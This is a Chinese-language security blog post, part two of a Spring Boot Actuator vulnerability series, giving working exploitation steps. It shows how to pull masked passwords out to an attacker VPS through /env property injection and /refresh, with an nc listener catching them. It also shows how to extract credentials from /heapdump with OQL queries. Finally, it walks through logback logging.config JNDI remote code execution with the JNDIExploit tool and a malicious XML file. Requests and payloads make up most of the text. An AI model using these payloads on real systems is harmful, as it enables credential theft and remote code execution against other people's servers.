点击关注公众号,知识干货及时送达👇
请结合Spring Boot系列漏洞(一)食用
1
获取被型号脱敏的密码的明文(方法二)
利用条件:
·可以 GET 请求目标网站的 /env
·可以 POST 请求目标网站的 /env
·可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)
·目标使用了 spring-cloud-starter-netflix-eureka-client 依赖
·目标可以请求攻击者的服务器(请求可出外网)
利用方法:
步骤一: 找到想要获取的属性名
GET 请求目标网站的 /env 或 /actuator/env 接口,搜索 ****** 关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名。
步骤二: 使用 nc 监听 HTTP 请求
在自己控制的外网服务器上监听 80 端口:
nc -lvk 80
步骤三: 设置 eureka.client.serviceUrl.defaultZone 属性
将下面 http://value:${security.user.password}@your-vps-ip 中的 security.user.password 换成自己想要获取的对应的星号 * 遮掩的属性名;
your-vps-ip 换成自己外网服务器的真实 ip 地址。
spring 1.x
POST /env
Content-Type: application/x-www-form-urlencoded
eureka.client.serviceUrl.defaultZone=http://value:${security.user.password}@your-vps-ip
spring 2.x
POST /actuator/env
Content-Type: application/json
{"name":"eureka.client.serviceUrl.defaultZone","value":"http://value:${security.user.password}@your-vps-ip"}
步骤四: 刷新配置
spring 1.x
POST /refresh
Content-Type: application/x-www-form-urlencoded
spring 2.x
POST /actuator/refresh
Content-Type: application/json
步骤五: 解码属性值
正常的话,此时 nc 监听的服务器会收到目标发来的请求,其中包含类似如下 Authorization 头内容:
Authorization: Basic dmFsdWU6MTIzNDU2
将其中的 dmFsdWU6MTIzNDU2部分使用 base64 解码,即可获得类似明文值 value:123456,其中的 123456 即是目标星号 * 脱敏前的属性值明文。
2
获取被星号脱敏的密码的明文 (方法三)
利用条件:
· 通过 POST /env 设置属性触发目标对外网指定地址发起任意 http 请求
· 目标可以请求攻击者的服务器(请求可出外网)
利用方法:
参考 UUUUnotfound 提出的 issue-1,可以在目标发外部 http 请求的过程中,在 url path 中利用占位符带出数据
步骤一: 找到想要获取的属性名
GET 请求目标网站的 /env 或 /actuator/env 接口,搜索 ****** 关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名。
步骤二: 使用 nc 监听 HTTP 请求
在自己控制的外网服务器上监听 80 端口:
nc -lvk 80
步骤三: 触发对外 http 请求
· spring.cloud.bootstrap.location 方法(同时适用于明文数据中有特殊 url 字符的情况)
spring 1.x
POST /env
Content-Type: application/x-www-form-urlencoded
spring.cloud.bootstrap.location=http://your-vps-ip/?=${security.user.password}
spring 2.x
POST /actuator/env
Content-Type: application/json
{"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/?=${security.user.password}"}
· eureka.client.serviceUrl.defaultZone 方法(不适用于明文数据中有特殊 url 字符的情况)
spring 1.x
POST /env
Content-Type: application/x-www-form-urlencoded
eureka.client.serviceUrl.defaultZone=http://your-vps-ip/${security.user.password}
spring 2.x
POST /actuator/env
Content-Type: application/json
{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/${security.user.password}"}
步骤四: 刷新配置
spring 1.x
POST /refresh
Content-Type: application/x-www-form-urlencoded
spring 2.x
POST /actuator/refresh
Content-Type: application/json
3
获取被星号脱敏的密码的明文(方法四)
访问 /env 接口时,spring actuator 会将一些带有敏感关键词(如 password、secret)的属性名对应的属性值用 * 号替换达到脱敏的效果
利用条件:
· 可正常 GET 请求目标 /heapdump 或 /actuator/heapdump 接口
利用方法:
步骤一: 找到想要获取的属性名
GET 请求目标网站的 /env 或 /actuator/env 接口,搜索 ****** 关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名。
步骤二: 下载 jvm heap 信息
下载的 heapdump 文件大小通常在 50M—500M 之间,有时候也可能会大于 2G
GET 请求目标的 /heapdump 或 /actuator/heapdump 接口,下载应用实时的 JVM 堆信息
步骤三: 使用 MAT 获得 jvm heap 中的密码明文
参考文章方法,使用Eclipse Memory Analyzer工具的 OQL 语句
select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))
或
select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("password"))
辅助用 "password" 等关键词快速过滤分析,获得密码等相关敏感信息的明文。
讲述完对星号密码脱敏后我们进行命令执行等操作
4
命令执行
注意:在命令执行之前要检查好编写的payload 和 要修改配置的属性,如果发生错误会导致网站服务断掉
在漏洞环境中的包体中需要区分入口文件和content-type属性
Spring 1.x
POST /env HTTP1.1
Content-Type: application/x-www-form-urlencoded
Spring 2.x
POST /actuator/env
Content-Type: application/json
5
restart logging.config logback JNDI RCE
漏洞环境:springboot-restart-rce
JNDIExploit工具:
https://github.com/WhiteHSBG/JNDIExploit
利用条件
· ⚠️ 可以 POST 请求目标网站的 /env 接口设置属性
· ⚠️ 可以 POST 请求目标网站的 /restart 接口重启应用
· ⚠️普通JNDI 注入受目标 JDK 版本影响,jdk < 6u201/7u191/8u182/11.0.1(LDAP),但相关环境可绕过
· ⚠️ 目标可以请求攻击者的 HTTP 服务器(请求可出外网),否则 restart 会导致程序异常退出
· ⚠️ HTTP 服务器如果返回含有畸形 xml 语法内容的文件,会导致程序异常退出
· ⚠️ JNDI 服务返回的 object 需要实现 javax.naming.spi.ObjectFactory 接口,否则会导致程序异常退出
漏洞复现
第一步
在服务器执行命令开启JNDI服务,会开启两个服务端口。使用LDAP的1389端口
java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 127.0.0.1
第二步
开启HTTP服务,并将xml文件放在根目录下
python -m http.server 80
ldap的地址修改为VPS地址,端口是上面服务器开放的1389端口,最后面的base64编码的是"start calc",要执行的命令
<configuration>
<insertFromJNDI env-entry-name="ldap://127.0.0.1:1389/TomcatBypass/Command/Base64/c3RhcnQgY2FsYw==" as="appName" />
</configuration>
第三步
抓取数据包,修改 logging.config属性,设置logback日志配置文件URL地址。
POST /actuator/env HTTP/1.1
Host: 127.0.0.1:9098
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Length: 0
Content-Type: application/json
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
{"name":"logging.config","value":"http://127.0.0.1/example.xml"}
接着执restart重启应用,程序会请求URL地址获取的XML文件内容
注意:发送请求的包中,Content-Type的属性必须是json。
一、
POST /actuator/env
Content-Type: application/json
{"name":"logging.config","value":"http://your-vps-ip/example.xml"}
二、
POST /actuator/restart
Content-Type: application/json
如果是Spring 1.x
一、
POST /env
Content-Type: application/x-www-form-urlencoded
logging.config=http://your-vps-ip/example.xml
二、
POST /restart
Content-Type: application/x-www-form-urlencoded
看JNDI记录,这个漏洞是无回显利用
DNSlog检测
可以使用查看可以使用的利用链
java -jar JNDIExploit-1.4-SNAPSHOT.jar -u
example.xml配置
<configuration>
<insertFromJNDI env-entry-name="ldap://0.0.0.0:1389/TomcatBypass/Dnslog/hbbhlmdrxr.dnstunnel.run" as="appName" />
</configuration>
回显利用
查看JNDIExploit工具说明中,是支持可回显的。在本地测试失败
只需要将example.xml替换即可
<configuration>
<insertFromJNDI env-entry-name="ldap://127.0.0.1:1389/TomcatBypass/SpringEcho" as="appName" />
</configuration>
原文始发于微信公众号(希石安全团队):Spring Boot系列漏洞(二)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论